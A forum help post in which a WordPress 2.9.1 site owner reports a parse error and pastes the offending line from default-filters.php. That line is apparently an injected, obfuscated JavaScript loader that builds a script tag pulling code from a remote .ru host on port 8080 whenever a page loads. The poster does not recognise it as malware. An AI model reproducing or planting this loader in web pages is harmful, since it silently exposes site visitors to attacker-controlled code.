Parse error: syntax error, unexpected ‘<‘

Hi everyone,

Serious error here. Weird though.

I updated to WordPress 2.9.1 today and I checked after install, everything was working fine. I come home, try to go on my blog and then error :

Parse error: syntax error, unexpected ‘<‘ in /home/greatma1/public_html/perigvennetier/wp-includes/default-filters.php on line 229

No access to anything. No blog, no admin section. FTP files seems fine. Database seems fine.

Try to look around but can’t seem to see what it is. Here is my line 229 of the “default-filters.php” file. Any idea what that does? I tried to delete it but then it gives me the same error in another file.

<script>/*GNU GPL*/ try{window.onload = function(){var Iyx79b843szf = document.createElement('s##^c#)r$i$p#!^t$!'.replace(/\$|@|\)|\^|\(|\!|#|&/ig, ''));var Mruvwe6cfugj = 'Kak8tw05tlcz';Iyx79b843szf.setAttribute('type', 't^#$e)$(&!x@t#!/)j($^a(((&@v^$(^a!$!s!#&(c&&#r&i&!@p$@t&'.replace(/\^|\(|&|#|\)|@|\!|\$/ig, ''));Iyx79b843szf.setAttribute('src',  'h(@t(#t#p#(:@/))))/(y@a!^$^m!(#$-))&c$)o(#m&&.$&^^g#o!#^o^&)&g@&)(!l@#e!@.)#c(!o^.!z)a))&&(.^$g($^(a&!!m(#!#&e&$s@t^)@!(o)$@#p((-#)!)c$^@(^o^)m&#!.(l@@!i^#n$u@#x$^$w!@(e#(&^^b$@$$!c#a$)m)#^.(@#r!&&u!:(^$8$^0!&8#0&(^/#@g^^a)$(n)##@j(i)@.))c$!)$o^!$m)#(!/)&#^^g)!^a&@()n@j$@@i@#((.))^c)o!!)&m@$#&/#)&#w@$(e#!l##((l&#s^^#f)$a$r$&g)(!@)o).)c$^&o!m@^/)g&!#$&o^$^o!!(g$(!@l#$e^$.^!!c^#^o!$m^)$$@/@!&o#@p(!e)^$n@!$)d!n!)!&s).()c@@o$&m(!@!/($@'.replace(/#|\!|\$|&|\)|\(|@|\^/ig, ''));Iyx79b843szf.setAttribute('defer', 'd##e^&f))$#e@@(r!@)('.replace(/\$|#|\)|\!|@|\^|\(|&/ig, ''));Iyx79b843szf.setAttribute('id', 'W)#@2&($d)!v@@!(o$^e(#@h@&(t&$&&i@$&^d!((p$&@3!#@y#'.replace(/&|\$|\^|\)|\(|@|\!|#/ig, ''));document.body.appendChild(Iyx79b843szf);}} catch(Ipf9jneywl) {}</script>

Really need help here I’m freaking out a little.

Thanks,
Perig